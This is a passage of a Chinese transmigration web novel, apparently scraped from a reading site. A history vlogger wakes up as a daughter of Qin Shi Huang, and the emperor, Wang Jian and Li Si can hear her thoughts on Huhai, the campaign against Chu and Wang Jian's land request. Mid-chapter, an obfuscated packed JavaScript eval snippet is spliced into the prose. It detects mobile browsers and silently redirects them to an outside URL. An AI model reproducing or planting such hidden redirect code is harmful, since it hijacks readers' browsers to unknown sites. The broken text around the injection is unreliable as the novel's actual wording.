《总在历史名场面出没的我[综历史]》 1. 第 1 章 头痛,剧烈的头痛,像是有人拿着凿子在一下下钉她的天灵盖。 耳边是聒噪尖锐的童声,带着十足的恶意和跋扈:“贱婢生的玩意儿,也敢瞪我?给我跪下,学狗叫!本公子便饶了你这次!” 身上也痛,胳膊、后背火辣辣的,像是被擦伤或撞伤了。 赵明玉,不,现在或许应该叫嬴明玉,艰难地撑开沉重的眼皮。模糊的视线逐渐清晰,映入眼帘的,是古拙的木质房梁,绘着暗色的云纹。 身下是冷硬的……砖石地? 她勉强转动脖颈,看到一个穿着古代曲裾深衣,头戴小金冠,约莫六七岁的男孩,正叉着腰,趾高气昂地站在她面前。 男孩脸盘圆润,肤色白皙,本该是可爱的长相,可那双眼睛里满是与年龄不符的骄横和恶意,破坏了一切观感。 他身后还跟着两个低着头、大气不敢出的内侍。 记忆碎片如潮水般涌来。 她是嬴明玉,秦始皇赵政之第九女,生母是早已亡故的低阶宫女。 年方五岁,在宫中如同影子,无人重视,常被其他公子公主欺辱。 而眼前这位,正是历史上鼎鼎大名的秦二世——胡亥,始皇第十八子,比她大一岁,今年六岁。 因其母胡姬略有宠爱,加上他自幼会讨好卖乖,在始皇面前装得纯良,背地里却是小霸王一个,尤其喜欢欺负她这个没娘又不得宠的妹妹。 今日,胡亥不知又从哪儿得了件新奇玉器,跑来她这偏僻冷清的院舍炫耀。 原主胆小,只是缩在角落,胡亥却嫌她“晦气”、“不会奉承”,先是言语辱骂“贱婢之女”,继而推搡。原主气急之下,回了一句“你才是贱婢之子!”,便被胡亥狠狠一把推倒,后脑勺撞在了殿前的石阶上,当场昏死过去。 再醒来,壳子里就换成了刚猝死于电脑前、肝完“大秦盘点”视频的现代历史UP主,赵明玉。 理清现状的瞬间,明玉觉得后脑勺更痛了,怒火却“噌”地一下直冲头顶。 胡亥!秦二世!断送大秦江山、杀光自己兄弟姐妹的败家子!历史耻辱柱上的钉子户! 她居然穿成了被他欺负至死的倒霉公主?! “喂!装死吗?”胡亥见地上的嬴明玉只是睁眼看着他,不说话也不动,觉得无趣,又上前用脚尖不轻不重地踢了踢她的小腿,“听到没有?跪下,学狗爬!不然我就告诉父王,你偷我的玉!” 疼痛和胡亥嚣张的嘴脸,彻底点燃了明玉憋屈的怒火。 去他的从长计议,去他的徐徐图之! 老娘上辈子卷到猝死,这辈子开局就被历史罪人差点害死,还能忍? 躺平?咸鱼?那是以后的事!现在,她只想揍人! 属于五岁孩童的身体还虚弱无力,但成年人的灵魂和那股不要命的狠劲瞬间接管,在胡亥又一次伸脚要踢时,明玉猛地伸手,一把抱住他的小腿,用尽全身力气狠狠一拽。 “哎哟!”胡亥猝不及防,惊叫一声,重心不稳,“噗通”摔了个结结实实的屁股墩儿,头上的小金冠都歪了。 “公子!”两个内侍惊呼,想要上前。 明玉却已迅速爬起,脑子还在嗡嗡作响,身体却先于意识行动。 她牢记“打架专攻下三路”的朴素真理,趁着胡亥摔懵还没反应过来,扑上去就用小拳头往他肉多的地方捶,用指甲掐,用脑袋顶,毫无章法,却胜在突然和一股子豁出去的疯劲。 “你敢打我?!反了!反了!”胡亥何曾吃过这种亏,愣了一瞬后,暴怒起来,他毕竟年长一岁,力气也大些,很快扭住明玉的胳膊,两人滚倒在地,扭打成一团。 扯头发,抓脸,踢打,毫无皇室子弟的体面,活像两只炸毛互啄的小鸡崽。 “快!快拉开!成何体统!”内侍们慌得六神无主,想拉架又不敢对公子公主用力,急得团团转。 最终,是两个闻讯赶来的年长宫人,才费力将两个泥猴似、互相“呸”了一口的小主子分开。 明玉气喘吁吁,额头被胡亥的指甲划了道口子,渗出血珠,混着尘土,看起来颇为狼狈。 身上的衣裙也脏破了好几处。但胡亥也没好到哪里去,发髻散乱,脸上有两道红痕,衣襟被扯开了,同样灰头土脸。 “你……你给我等着!我这就去告诉父王,看父王不打死你个贱种!”胡亥气得浑身发抖,指着明玉尖声叫道,眼圈都红了,一半是疼的,一半是丢脸气的,他从小到大,就没受过这种委屈。 “去啊!谁不去谁是狗!”明玉豁出去了,抹了一把额头的血,昂着小脑袋,毫不示弱地顶回去,心里却在疯狂吐槽:【告状?正好!我正愁没机会见政哥呢,不对,现在他是我爹……不管了,反正能见到活的了!值了!】 胡亥被她那副“光脚不怕穿鞋”的架势噎了一下,旋即更加恼怒,对宫人吼道:“看什么看!带她去章台宫!现在!立刻!” 章台宫。 殿内弥漫着淡淡的竹简和墨香,还有一种无形迫人的威压。 秦王嬴政正跪坐于巨大的御案之后,玄衣纁裳,头戴通天冠,他面前除了堆积的竹简,下首还坐着数位重臣,赫然有老将王翦、廷尉李斯,以及几位掌管军事粮草的官员。 显然正在商议要事。 一名内侍小心翼翼入内,在宦者令耳边低语几句,宦者令脸色微变,上前低声禀报。 嬴政眉心几不可察地一蹙,但并未发作,只沉声道:“带进来。” 声音不高,却让殿中气氛更凝肃了几分。 正在禀报粮草调度的一名官员立刻噤声。 很快,两个小小的、狼狈的身影被宫人半引半拉地带入殿中。 浓重的朝议氛围被这突如其来的童稚闹剧打破,几位大臣目光扫过,皆面露讶异,但很快眼观鼻鼻观心。 胡亥一见到御座上的父王,立刻“哇”地一声哭出来,扑倒在地,涕泪横流:“父王!父王要为儿臣做主啊!九妹她疯了!她偷儿臣的玉,儿臣只是问问,她就动手打人!您看她把儿臣打的!” 他努力抬起挂彩的小脸。 而另一边,明玉则安静地站在那里。 小小的人儿,衣裙脏破,额头带伤,渗出的血迹混着尘土,她没有哭诉求饶,只是微微张着嘴,一双乌黑的眼睛睁得大大的,正一眨不眨地看向御座之上—— 【啊啊啊啊啊——!!!】 一个完全陌生、清脆,属于小女孩的尖叫声,毫无征兆地在嬴政,以及下首离得较近的王翦、李斯等几人脑海中直接炸开。 【政哥!政哥,活的政哥,会喘气的!我那迷人的老祖宗啊!!!妈呀怎么这么好看这么帅!这眉眼、这鼻梁、这下颌线、这通天的帝王气场!史书里那些描写都是苍白的!真人帅裂苍穹啊!!!】 【等等等等!冷静!明玉你冷静!他现在是我爹,对,我爹,亲爹!活的爹!啊啊啊爹!你看我!我是你女儿啊!爹!爹你听见了吗!爹——!!!】 嬴政执笔的手,几不可察地一顿,深邃的眼眸倏然抬起,锐利如鹰隼的目光,第一次真正落在了那个额角带血、看似吓傻的小女儿脸上。 他能清晰地“听”到每一个字,感受到那几乎要溢出来的,带着古怪的狂热。 几乎同时,下首的王翦花白的眉毛几不可察地动了一下,李斯低垂的眼睑下眸光微闪。 两人皆是人精中的人精,这突兀闯入脑海的,绝非殿中任何一人发出的“心音”,让他们心中瞬间掀起惊涛骇浪,但面上却控制得滴水不漏。 其余几位离得稍远或心神不在此的大臣,则毫无所觉。 嬴政面上波澜不兴,仿佛只是被孩童的哭闹打断,沉声问:“怎么回事?” 负责的宫人扑通跪倒,颤声将所见所闻如实禀报,包括胡亥如何闯入辱骂、先行动手推倒九公主,以及九公主醒来后如何反击…… 随着宫人叙述,胡亥哭声渐弱,眼神飘忽。 而嬴政脑中,那聒噪激动的心声也变了调: 【听听!爹你听听!是他先骂我贱婢之女,是他先动手推我,我脑袋现在还疼呢!看这血!】 【恶人先告状!从小就这么坏!这么能演!在爹你面前装可怜,背地里就欺负姐妹!】 【这种性子,长大了还得了?难怪把兄弟姐妹都……】那心声到这里猛地一顿,含糊掠过,【……反正不是好东西!】 嬴政的目光再次扫过明玉额角的伤,和胡亥脸上那几乎快看不见的红痕,眼底深处,一丝冰冷的寒意掠过,他看向胡亥:“欺凌姐妹,口出恶言,继而动手伤人,事后诬告,禁足三月,抄写《秦律》十遍,赵高管教不力,杖二十。带下去。” “父、父皇……”胡亥难以置信。 “带下去。”声音不容置疑。 胡亥被拖了出去,哭喊声渐远。 殿内一时寂静。 几位大臣交换着眼神,心中对大王如此干脆利落地处置颇受宠的胡亥,且是在这等议政场合,皆感意外,但无人敢置喙,目光不由都隐晦地扫过那个额头带伤的小公主,这还是他们第一次见这位小公主。 嬴政却不再看明玉,仿佛刚才只是处理了一件微不足道的琐事,重新将目光投向方才禀报的官员:“粮秣之事,继续。” “唯、唯!”那官员连忙收敛心神,继续汇报,但殿中气氛,已与先前截然不同。 一种混杂着惊疑与探究的暗流,在能听见那“心音”的几人之间无声涌动。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937171|192892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 明玉有些无措地站在原地,偷偷瞟着御座上重新专注于政务的父王,又瞄了一眼下面那些正襟危坐、却偶尔有目光扫过她的历史名人。 【那个白发老爷爷就是王翦吧?灭楚的大佬!气场好稳,旁边那个是李斯?啧,标准的法家精英脸……他们是在讨论伐楚?那,现在是秦王政二十三年咯?正是灭楚的关键时候……】 她正胡思乱想,忽然听到那位汇报的官员提到“李信将军前部已至”,而一位武将模样的臣子出列,慷慨陈词,主张应支持李信急进,一举破楚,言二十万兵足矣。 另一位须发灰白的王翦则缓缓摇头,声音沉浑:“楚地广袤,项燕非易与之辈,必六十万兵,步步为营,方有胜算,李信年少气盛,恐有疏失。” 【来了来了!历史名场面!李信vs王翦!伐楚之争!】 明玉耳朵瞬间竖了起来,内心开始同步弹幕解说,【李信是挺猛,但这次真会栽啊!项燕,项燕就是个老狐狸,就等着他分兵呢!】 【王老将军到是稳,可六十万大军,举国之兵,压力也大,还得防着楚王那边拖后腿……】 【不过话说回来,李信长这样?跟农药里那个一点不像嘛,看起来就比那个李信讨……呃,好像也没那么讨厌?反正没游戏里那么装。】 这详细到令人发指、甚至带点“大不敬”对比的心声,如同冰水浇入滚油,在嬴政、王翦、李斯等能听见者的脑海中回想。 王翦持重如山的面容上,眼角几不可察地抽搐了一下。 李斯低垂的眼眸中精光爆闪,瞬间又归于沉寂,只是拢在袖中的手指微微收紧。 其余几位能听见的大臣,更是险些控制不住表情,看向那站在殿中、一脸“我在认真听讲”模样的小公主,眼神活像见了鬼。 她……她怎知李信用兵策略?怎知项燕打算?怎知楚王可能掣肘?甚至…… “农药”是何物?“游戏”又是何意?这看似荒诞不经的童言心语,其中透露出的对前线态势、对手性格、乃至潜在风险的判断,竟与庙堂之上这些老谋深算的重臣推演,有隐隐相合之处! 尤其那句“李信是挺猛,但这次真会栽”,更是让知兵如王翦者,心中凛然。 嬴政执笔的手悬在半空,朱砂墨汁凝聚在笔尖,将落未落,他缓缓抬起眼,目光再次落向明玉。 这一次,不再是之前审视闯祸孩童的冷淡,而是一种深不见底的探究与审视。 那目光如有实质,仿佛要穿透这稚嫩躯壳,直抵其内里那个跳跃着古怪念头、知晓着不该知晓之事的“魂灵”。 大殿之中,议政之声虽在继续,但一股惊心动魄的波澜,已在这位帝国主宰与寥寥几位重臣的心湖深处,激荡开来。 而这个引发了波澜的小小身影,对此一无所知,她只是觉得父王和那几个老大臣看她的眼神,好像……有点复杂? 【怎么了?我脸上有东西?】明玉下意识又想抹脸,碰到伤口,疼得“嘶”了一声。 这一声轻嘶,打破了殿中那诡异的寂静。 嬴政终于开口,声音听不出情绪,却不再提伐楚之事,只对宦者令道:“带九公主下去,让夏无且看看伤,既其生母已逝,日后便居章台宫偏殿,一应起居,由你安排。” “唯。”宦者令躬身,心中巨震,大王竟将这位不起眼的九公主,安置在了寝宫之侧? 明玉也愣住了,住章台宫?和政哥……爹,住这么近? “去吧。”嬴政不再看她,重新垂眸,看向案上竹简,仿佛方才一切未曾发生。 明玉懵懵懂懂,跟着宦者令退出大殿,走到门口,她忍不住回头,又看了一眼御座上那道玄色深沉的身影。 【政爹……好像也没那么可怕?还挺讲道理?就是眼神有点吓人……不过,能离偶像这么近,值了!】她心里美滋滋地想着,脚步都轻快了些。 而殿内,在她身影消失后,嬴政并未立刻继续议政,他沉默片刻,方才抬眼,目光缓缓扫过下首神色各异的几位重臣,尤其在王翦、李斯脸上略有停留,而后,用听不出喜怒的平淡语调道: “伐楚之议,李信既有锐气,可令其为前部试探,然王翦所虑,不可不防。大军调度、粮秣储备,皆按六十万之数,秘密筹备,另,加派细作,详探楚廷动向,尤其是楚王与项燕之间。” “唯!”众臣凛然应诺。 这道命令,看似折中,实则已极大倾向了王翦的稳妥之策,并为可能的变数做足了准备,而其中对楚国内部的关注,更是微妙地印证了某种……不可言说的“预感”。 退朝后,几位能听见心声的重臣,不约而同地放慢了脚步,彼此交换了一个心照不宣,又充满无尽惊疑的眼神。 2. 第 2 章 额头上传来清凉的触感和一丝草药的微苦,明玉晕乎乎地坐在偏殿的软榻上,看着面前为自己处理伤口的太医。 这位太医年纪不轻,面容清癯严肃,但手法稳而轻,一边清理伤口敷药,一边用平板的语气询问:“公主可还觉得眩晕?此处按压可有异感?” “不晕了,就是有点……木木的疼。”明玉老实回答,眼睛却忍不住偷瞄对方。 【这就是夏无且啊?荆轲刺秦时扔药囊救驾的那位?四舍五入我也算是被历史名医亲手包扎了!】 【可惜,再过些年,政爹要求仙嗑药,好像也找过他?唉,那些丹药有毒啊……不过那是以后的事了,现在政爹还英明神武着呢。】 她这边内心戏丰富,那边夏无且已利索地包扎好,起身对旁边侍立的宦者令道:“伤口不深,无大碍,按时换药,勿沾水。只是公主年幼,又撞了头,需静养观察,若有呕吐嗜睡,即刻来报。” 声音一如既往没什么波澜。 “有劳夏太医。”宦者令客气地送人离开,再转身面对明玉时,脸上已换上十二分的恭敬谨慎,“公主,大王有旨,您日后便居于此偏殿,一应器物仆役,稍后便至,您先歇息,若有何需求,尽管吩咐。” 明玉环顾这间“偏殿”,比她原来那个冷清小院不知宽敞明亮多少,紫檀木的案几,锦绣的帷幔,空气里有种沉静好闻的香气。 最让她心跳加速的是,这屋子与正殿,似乎只隔着一道墙? 【我真住进章台宫了?和政爹一个屋檐下?】她抱着膝盖坐在软垫上,脑子里还有点懵,但更多的是后知后觉的狂喜和不安交织。 【这算是因祸得福?不过政哥……爹到底怎么想的?真是看我可怜?还是觉得我打架够凶,放身边看着?】 她甩甩头,决定不想了,反正现在安全了,胡亥短期内应该不敢来惹她,还能近距离观察偶像兼爹地,简直是历史迷的顶级福利。 只是额头和身上隐隐的疼痛,还有白日那场混乱带来的疲惫,让她很快感到困倦。 在宫人无声而高效的伺候下洗漱更衣,换上柔软干净的寝衣,明玉几乎是脑袋一沾枕头,就沉入了黑甜的梦乡。 她不知道,就在她沉沉睡去,呼吸变得均匀绵长时,隔壁正殿的御书房内,灯火通明。 秦王嬴政已换下朝会冠服,只着一身玄色深衣,坐于案后,他面前并无竹简,只摆着一杯清茶,热气袅袅。 下首左右,分别坐着老将王翦与廷尉李斯。 三人皆沉默,殿内只闻烛火偶尔的哔剥声,气氛沉凝。 良久,嬴政端起茶盏,轻轻撇了撇浮沫,并未饮用,沉缓开口:“今日之事,二位皆有所闻。” 王翦神色肃穆,微微颔首:“臣,确闻异声。” 他指的是那闯入脑海的心音。 李斯也低声道:“臣亦然,其声稚嫩,绝非幻听,所言……匪夷所思,然细思恐极。” 他顿了顿,斟酌道,“尤以伐楚之论,虽似童言,却暗合兵家诡道与庙堂机变。且……” 他抬头,眼中精光一闪,“其对李信将军、项燕乃至楚王负刍之评断,不似妄语。” 嬴政放下茶盏,指尖在光滑的案几上轻轻叩击,发出规律的笃笃声,在寂静的殿中格外清晰。“可探知其源?” 王翦摇头:“臣暗中感应,其声……似自偏殿而来,然……” 他面露一丝罕见的困惑与凝重,“绝非寻常传音入密,更近于……心念直达,且非人人可闻,臣观当时殿中诸臣,唯近前数人神色有异。” 李斯接道:“此等异象,臣闻所未闻,然其心音所涉,于国事或有裨益。只是……” 他看向嬴政,“其身份诡谲,来历不明,虽看似幼童,不可不防,尤其他对胡亥公子之恶评……” 他停住,没有继续说下去。 嬴政眸光深敛,白日那心音中对胡亥“长大了还得了”、“不是好东西”的断言,他听得清清楚楚。 结合这“异魂”对前线战事的“未卜先知”,一个惊人的推测已在他心中成形,此“嬴明玉”,恐非原来那个怯懦宫女所出的九公主。 “其心音,似只对抱持纯粹探究或……善意者敞开。”嬴政缓缓道,说出了自己的观察,“心怀恶念如胡亥近侍,或漠不关心者,皆无所觉。” 这也是他为何当机立断将人放在眼皮底下的原因之一。 王翦与李斯闻言,皆若有所思,此限制,倒是减少了消息扩散的风险。 “大王,”王翦沉声道,“既如此,此女……此异数,当如何处置?其言若可信……” “静观其变。”嬴政打断他,语气恢复了帝王的决断与冷酷,“伐楚之议,依今日所定执行,至于她……” 他目光似乎穿透墙壁,落在隔壁安睡的小小身影上,“既居于此,便看看她还能‘说’出些什么,你二人,既有所闻,亦需留意,然此事,绝不可对外泄露分毫。” “唯!” 王翦与李斯肃然应道。 他们明白,这不仅是奇遇,更可能是一把双刃剑,用得好或可利国,稍有差池,便是滔天祸患。 “另外,”嬴政指尖停住叩击,“扶苏近日功课如何?” 李斯答道:“长公子勤勉,仁厚有加,于儒术经义尤为用心。” 嬴政不语,扶苏仁厚好学,是他所愿,亦是隐隐之忧。 其性过于宽仁,恐失刚断。 然其心性纯良,对兄弟姊妹素来友爱……或许,可作为一个观察的“桥梁”?那“异魂”既对胡亥有恶评,对扶苏,或能有不同观感? 让扶苏接近,一则可观察其互动,二则也可让扶苏多经一事,看看这“异数”是否能磨砺其心性。 “传话给扶苏,”嬴政忽然道,“明日开始,他处理完日常课业,可常来章台宫偏殿,既为兄长,当友爱幼妹,九公主初来,若有不适,让他多看顾。” 王翦与李斯对视一眼,皆明了大王深意。 这是要将长公子也引入局中,一则观察那“异魂”对扶苏之态度,二则……或许也有借那“异魂”之后世眼光,磨砺扶苏之意? “唯。” 李斯应下。 “退下吧。” 嬴政挥手。 王翦与李斯行礼退出,殿内重归寂静,只余嬴政一人,对着跳跃的烛火,眸光幽深难测。 隔壁均匀细微的呼吸声仿佛隐隐可闻,与这帝国的沉重、前线的烽烟、朝堂的暗流交织在一起。 而此刻的明玉,正陷入纷乱的梦境。 一会儿是电脑前爆肝赶稿的灯光,一会儿是史书竹简上冰冷的字句,一会儿是胡亥嚣张的脸,一会儿是始皇深邃的眼……最后,她梦到自己站在巍峨的宫殿上,看着下面万家灯火,身边站着高大的玄衣身影,那人侧头看她,问:“明玉,此江山如何?” 她一个激灵,醒了过来。 窗外天色已微亮。 她拥着被子坐起,额头的伤还在隐隐作痛,但精神好了许多。环顾这陌生,奢华却空旷的寝殿,昨日种种如梦似幻。 【真的穿越了……还和政爹住隔壁。】 她心里嘀咕着,带着点不真实感和隐隐的兴奋。【今天干嘛呢?继续躺着养伤?还是能出去转转?】 她正想着,殿外传来轻柔的脚步声和环佩轻响。 随即,门被推开,几个穿着青色深衣、面容沉稳的年长宫女鱼贯而入,手中捧着铜盆、布巾、衣物等。 为首的女官恭敬行礼:“公主晨安,奴婢等奉令侍奉公主起居,大王有旨,公主有伤,今日可于偏殿静养,若觉烦闷,亦可在章台宫苑内稍作走动,已为您备下清淡早膳。” 明玉愣愣地点头。 这服务,这待遇,跟昨天之前相比简直是天壤之别。 梳洗更衣,用过早膳,明玉果然坐不住了,她试探着对那位看起来最温和的女官道:“我……我想在附近走走,可以吗?” “自然,奴婢陪您。” 女官从善如流。 明玉被引着走出偏殿。 外面是连接着正殿的廊庑,雕梁画栋,庄严肃穆。 空气清新,带着秋日的凉意。 她不敢乱跑,就在廊下慢慢踱步,好奇地打量着四周。 偶尔有低阶内侍或宫女垂首快步经过,见到她,都立刻避让行礼,姿态恭谨。 走到廊庑一处转角,前方视野稍阔,可见一片修竹掩映的小小庭院,有石几石凳,颇为清幽。 明玉正想过去看看,忽然,另一侧的廊柱后,转出一个人来。 来人年纪约在十七八岁,身量颀长,穿着一身月白色的曲裾深衣,腰间束着青色丝绦,坠着一枚莹润白玉。 他墨发以玉冠束起,面容清俊,肤色白皙,眉眼温和,气质如玉,行走间从容不迫,自带一股书卷清气。 晨光熹微,落在他身上,仿佛镀上一层柔光。 明玉瞬间看呆了。 【我……的天……】她心里倒抽一口凉气,【扶苏!是扶苏哥哥!活的,比画像好看一万倍,这才是真正的君子如玉啊,这气质,这颜值……天杀的赵高胡亥!没有你们这 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这几句后续心声,更是让扶苏如遭雷击,手指在袖中微微颤抖。 父王……舍得?我……耿直?劝谏? 就在这时,一名内侍匆匆自正殿方向而来,见到扶苏,连忙躬身:“长公子,大王召您即刻入殿。” 扶苏猛地回神,深深吸了口气,勉强对那内侍点了点头,又复杂难言地看了明玉一眼,终究什么也没说,转身随着内侍匆匆向正殿走去。 只是那背影,似乎比来时沉重了些许。 明玉望着他离去的方向,眨了眨眼:【扶苏哥哥怎么了?脸色好像突然不太好?是政爹找他有什么急事吗?】 她挠挠头,没多想,又继续被庭院里的修竹吸引了注意力。 而此刻,正殿之中,嬴政刚刚听完影密卫关于昨夜几位重臣退朝后动向的禀报,正提笔准备批阅奏报,那几句清晰的心音,便再次毫无阻碍地传入他脑海。 “……天杀的赵高胡亥!没有你们这对祸害,扶苏怎么会……” 嬴政手中的朱笔,“啪”一声,轻轻搁在了笔山上,他抬起眼,望向殿门方向,眸色沉得如同化不开的浓墨。 几乎同时,殿门被推开,扶苏略显仓促地步入,脸上犹带着未及完全收敛的惊悸与苍白,他行礼时,甚至不敢直视御座上的父亲。 “平身。”嬴政的声音听不出喜怒,目光在长子脸上一扫,“脸色何以如此?” 扶苏心头剧震,知晓父王洞察力惊人,只得强自镇定:“儿臣……晨起略有不适,无碍,不知父王召见,有何吩咐?” 嬴政没有立刻回答,只是静静看着他。 殿内一片令人窒息的寂静,方才那心音中强烈的痛惜与那句未尽的“怎么会……”,如同鬼魅的絮语,再次缠绕上心头。 赵高、胡亥、扶苏。 这三个名字被那“异魂”以一种极其沉重、悲愤的语气联系在一起。 “近日,多去看看你九妹。”良久,嬴政缓缓开口,语气平淡无波,“她初来乍到,又受了伤,你身为长兄,当好生看顾,她若有何言行……异常,或有何奇思妙想,你可多予包容,亦可……记下,报与寡人知晓。” 扶苏心中一凛,瞬间明白了父王更深层的用意,他想起方才那惊心动魄的心音,再联想到昨日殿上听闻的关于九妹的“奇异”,与父王破例将其安置在章台宫的举动……一个模糊却骇人的猜想浮现。 “儿臣……遵命。”扶苏低头,声音微涩。 “去吧,好生‘看顾’。”嬴政最后三个字,说得极慢,极重。 扶苏躬身退出殿外,站在廊下,秋日晨风拂过,他却感到一阵寒意,他回头,望了一眼偏殿的方向,那个额角带伤、眼神懵懂的小小身影仿佛还在眼前。 她……究竟是谁? 她“说”的……又会是什么? 而偏殿廊下的明玉,对刚刚发生在父子之间那场无声的惊涛骇浪一无所知,她正蹲在庭院边,试图用手指去戳一株带着露水的兰草,心里想着:【不知道秦朝有没有课外书看?天天关着好无聊……要是有纸就好了,我自己画小人书看……】 她这无聊的嘀咕,顺着无形的“频道”,再次精准“投送”。 刚刚走到殿外、心绪未平的扶苏,脚步一顿。 而御书房内,重新执起朱笔的嬴政,笔尖在竹简上方悬停片刻,最终,落下的批注,比往日似乎更沉凝了几分。 3. 第 3 章 晨光透过疏朗的窗格,在殿内投下斑驳的光影。 明玉用过午膳,正对着面前几卷崭新、专门送来的启蒙竹简发呆。 篆文笔画繁复,看得她眼花缭乱,手腕也因笨拙地握笔临摹而酸涩。 【唉,当个文盲公主也不容易。】她内心哀叹,【这字也太难写了,比毛笔书法课还难,而且竹简好重,翻起来哗啦响,一不小心就划手……要是有纸就好了,又轻又薄,写错了还能改……】 她这“饱汉不知饿汉饥”的抱怨,清晰地传入了一墙之隔的嬴政,以及恰好奉诏前来、正坐于下首回禀边地军务的公子扶苏耳中。 嬴政执笔批阅的动作几不可察地顿了一下,目光掠过案头堆积的竹简,又扫了一眼下首长子面前摊开的军报。 那“又轻又薄”、“写错了还能改”的形容,虽稚嫩,却奇异地贴合某种需求,他未动声色,继续听扶苏禀报。 扶苏则心中一动。 纸?这已是他第二次从九妹心声中听到此物,他回忆晨间那“能画小人书”的联想,再看眼前沉重的竹简,隐约觉得九妹所言或许并非全然的孩童妄想。 只是,此物究竟为何?如何得来? “北地诸郡,今岁雪早,恐有冻馁,儿臣已与少府、内史议定,先行调拨部分御寒衣物、粮秣预备……” 扶苏的禀报条理清晰,声音温润,但细心听去,能察觉一丝不易察觉的心不在焉,他的思绪,仍有一部分萦绕在偏殿那个心思古怪的妹妹身上。 嬴政听罢,略作指示,便道:“北地之事,依议而行,你九妹初来,课业亦不可荒废,稍后,你可去偏殿看看,她若有读书习字之惑,你身为长兄,当予指点。” “唯,儿臣遵命。”扶苏恭敬应下。这正是他心中所愿,他需要更多机会接触明玉,弄懂那些心音的真相。 而此刻的偏殿,明玉已丢下让她头疼的竹简,正趴在窗边,托着腮,看庭院里两只鸟儿在枝头叽喳打架,看得津津有味。 【菜鸡互啄。】她心里点评,【还不如昨天我和胡亥打得激烈,不过胡亥那小子,也就现在能横,等政爹知道他不是好东西……嗯,政爹现在好像也没多喜欢他?不然昨天不会罚那么干脆,果然我爹英明!】 这“我爹英明”的马屁拍得嬴政笔尖微不可查地一勾,而扶苏则嘴角轻抿,险些失笑,随即又因那“不是好东西”的评价而眸光微沉。 就在这时,殿外传来宦者令的通禀声:“大王,上将军王翦、通武侯王贲殿外求见。” “宣。”嬴政放下笔。 明玉耳朵瞬间竖了起来。 【王翦和王贲?父子档!是来汇报伐楚的准备,还是来要兵要粮的?名场面要来了吗?】 她忍不住从窗边探出一点点脑袋,想透过门缝往外瞅,可惜什么也看不见,只好竖起耳朵听动静,心里自动开启“弹幕解说”模式。 沉稳有力的脚步声由远及近。 父子二人入殿行礼。 王翦依旧是一身半旧常服,风尘仆仆却脊背挺直如松。 王贲稍年轻些,面容刚毅,与王翦有七分相似,气质却更偏锋锐。 嬴政赐坐,询问伐楚大军集结与粮草转运情况。 王翦一一详答,巨细靡遗,显然筹备极为充分。 殿内气氛严肃,唯有王翦沉稳的声音和竹简偶尔翻动的轻响。 明玉听得半懂不懂,但能感觉到那股紧绷的战前气氛。 【六十万大军啊,几乎举国之兵,王老将军压力肯定山大,不过他是稳扎稳打型的,应该没问题……就是耗时长点,朝中肯定有人会说闲话,楚王那边估计也快坐不住了……】 她这“旁观者清”的嘀咕,让殿内能听见的几人心中各有思量。 嬴政面色不变,扶苏若有所思,而王翦……正在禀报的老将军,花白的眉毛几不可察地动了一下,汇报的语速似乎有极其细微的放缓。 这女娃,竟能道出他心中最深层的顾虑——朝中非议与楚王耐心,她如何得知? 终于,正事禀报完毕,殿内出现了短暂的沉默。 就在这时,王翦忽然从坐席上起身,整了整衣冠,对着御座上的嬴政,深深一揖,声音洪亮却带着一丝与名将身份不符的“谄媚”? “大王!老臣此番出征,统领六十万大军,为国前驱,虽万死不辞!然……”他话锋一转,老脸竟露出些愁苦与期冀,“然老臣家中,子嗣众多,田宅寡薄,此番远征,归期难料,老臣别无他求,只盼大王能多赐良田美宅于咸阳,以为子孙计,则老臣在外,亦可安心矣!” 说着,他又从袖中掏出一卷早已备好的细绳串起的木牍,双手奉上:“此乃老臣心仪之田宅所在,斗胆请大王过目。” 殿内空气瞬间凝滞。 扶苏愕然抬头,看向素来以稳重清廉著称的老将军,几乎怀疑自己听错了。 李斯眼中掠过一丝诧异,随即垂下眼睑,掩去深思,就连侍立一旁的宦者令等人,也面露古怪。 明玉在偏殿,虽然看不见,但那洪亮的声音和话语内容清晰传来,她先是一愣,随即差点笑出声,赶紧捂住嘴,肩膀抖个不停。 【来了来了!经典名场面!王翦自污求田!高啊!实在是高!】她内心狂笑。 【老将军这是怕功高震主,提前自黑,让领导放心呢,瞧瞧这要田要地的嘴脸,演得多像!政爹你快配合一下,多赏点,这是忠臣的求生欲啊!不,是政治智慧!绝了!】 偏殿这边笑得打跌,正殿内的气氛却因她这“现场解说”,而变得极其微妙。 嬴政深沉的目光落在王翦奉上的木牍上,又缓缓抬起,看向殿下深深揖着、姿态“卑微”的老将,他能清晰地“听”到偏殿那雀跃、充满赞赏与“看穿一切”的心声。 原来如此。 原来王翦这看似贪婪失态之举,背后竟有如此深意,自污以安君心……这确是老成谋国之举,而那小丫头,竟能一眼看穿,且如此透彻。 嬴政心中百感交集,既欣慰于王翦的忠诚与老辣,又对那“异魂”的眼光毒辣再生警惕,更有一丝难以言喻的复杂,这朝堂君臣之间的微妙心术,竟被一个稚龄幼女,以如此戏谑又精准的方式道破。 他沉默的时间略长,王翦保持着作揖的姿势,心中也暗自打鼓。 此计虽妙,但君心难测,大王若真认为自己贪婪,或是看穿后不喜此等心术…… 就在这令人窒息的寂静中,嬴政终于开口,声音听不出喜怒,却带着不容置疑的力度:“准。” 一个字,落地有声。 王翦心中大石落地,还未及谢恩,又听嬴政道:“上将军为国征战,劳苦功高,区区田宅,何足挂齿,寡人便将你所请之田宅,再加三成,一并赐下。另赐千金,帛五百匹,以资军用,望上将军勿以为念,专心破楚,早日凯旋!” “老臣……谢大王隆恩!”王翦这次的声音,带上了几分真实的激动与如释重负,深深下拜,大王不仅准了,还加了赏赐,这是明明白白的信任与支持! 站在王翦身后的王贲,也随着父亲下拜,虎目之中光芒闪动,父亲此计,竟如此顺利?大王似乎……格外体恤? 只有能听见心声的扶苏与李斯,心中明镜似的。 大王这“格外体恤”,恐怕与偏殿那位的“精准解说”不无关系。 扶苏看向父王,只见父皇面色如常,已抬手让王翦父子平身,继续商讨起出兵细节,仿佛刚才那出“求田戏码”从未发生。 